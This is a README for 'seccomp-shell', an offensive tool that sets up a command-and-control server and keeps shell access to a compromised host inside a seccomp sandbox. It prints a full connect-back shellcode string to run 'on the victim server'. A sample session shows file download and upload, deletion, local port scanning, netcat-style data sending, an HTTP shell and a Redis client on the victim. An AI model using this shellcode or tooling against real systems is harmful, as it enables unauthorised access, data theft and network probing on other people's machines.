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seccomp-shell

seccomp-shell allows you to execute common shell commands in a restricted seccomp environment.

Installation

cargo build --release

Example

  • Start the C&C Server
    > help
    
        Core Commands
        =============
    
            Command       Description
            -------       -----------
            help          Help menu
            server        Establish C&C server
            exit          Exit program
    
    > server
    [!] SYS_socket and SYS_connect should be allowed
    server> help
    
        Core Commands
        ============= 
    
            Command                Description
            -------                -----------
            options                List all options
            set <option> <value>   Set option
            run                    Start server
            close                  Close server
            back                   Back to menu
    server> options
    
        Options
        =======
    
            Option        Value           Description
            ------        -----           -----------
            host          127.0.0.1       Server host
            port          4444            Server port
            format        quoted          Shellcode format
            read_syscall  SYS_read        Read syscall
    
    
        Available Syscalls
        ==================
    
            Verb          Syscalls
            ----          --------
            read_syscall  SYS_read, SYS_recvfrom
    
        Shellcode Formats
        ==================
    
            Format        Example
            -------       -------
            quoted        "\xde\xad\xbe\xef"
            hex           deadbeef
    server> set host 127.0.0.1
    [+] Host set to '127.0.0.1'
    server> set port 31337
    [+] Port set to '31337'
    server> run
    [*] Run the following shellcode on the victim server:
    "\xeb\x10\x31\xc0\x53\x5f\x49\x8d\x77\x10\x48\x31\xd2\x80\xc2\xff\x0f\x05\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x50\x5b\x48\x97\x68\x7f\x00\x00\x01\x66\x68\x7a\x69\x66\x6a\x02\x54\x5e\xb2\x10\xb0\x2a\x0f\x05\x4c\x8d\x3d\xc5\xff\xff\xff\x41\xff\xe7"
    [*] Waiting for connection on 127.0.0.1:31337
    
  • Run the shellcode on victim
  • The server should reply "Connection established from [IP]:[PORT]"
    [+] Connection established from 127.0.0.1:41248
    $ help
    
        Core Commands
        =============
    
            Command                    Description                                    Syscalls
            -------                    -------                                        -----------
            help                       Print This Menu                                N/A
            ls [DIR]                   List Directory                                 SYS_open, SYS_getdents
            dir [DIR]                  List Directory                                 SYS_open, SYS_getdents
            cat <FILE>                 Print File Content                             SYS_open, SYS_close
            cd <DIR>                   Change Directory                               SYS_chdir
            pwd                        Print Current Directory                        SYS_getcwd
            download <FILE>            Download File                                  SYS_open, SYS_close
            upload <FILE> [PERM]       Upload File                                    SYS_open, SYS_close
            rm <FILE>                  Remove File                                    SYS_unlink
            mv <SOURCE> <DEST>         Move File                                      SYS_rename
            cp <SOURCE> <DEST> [PERM]  Copy File                                      SYS_open, SYS_close
            mkdir <DIR> [PERM]         Create a Directory                             SYS_mkdir
            rmdir <DIR>                Remove a Directory                             SYS_rmdir
            getuid                     Get Current UID                                SYS_getuid
            getgid                     Get Current GID                                SYS_getgid
            portscan                   Scan Ports on localhost                        SYS_socket, SYS_setsockopt, SYS_connect, SYS_close
            netcat <INPUT_FILE> <Port> Send Data in the Input File to Port            SYS_socket, SYS_setsockopt, SYS_connect, SYS_close
                                       and Receive Output
            http-shell                 HTTP Interactive Shell                         SYS_socket, SYS_setsockopt, SYS_connect, SYS_close
            redis-cli                  Simple Redis Client                            SYS_socket, SYS_setsockopt, SYS_connect, SYS_close
            exit                       Exit shell                                     N/A
            quit                       Exit shell                                     N/A
    
    
    $ cd /
    [+] Directory changed to '/'
    $ ls
    [+] Listing directory '.'
    .
    ..
    boot
    var
    dev
    run
    etc
    tmp
    sys
    proc
    usr
    bin
    home
    lib
    lib64
    mnt
    opt
    root
    sbin
    srv
    $ 
    

TODO

  • Add chown and chmod
  • Add other ports
    • ftp
    • ssh
    • smb
    • and more
  • Add udp port scan
  • Refactor shellcode

License

GPLv3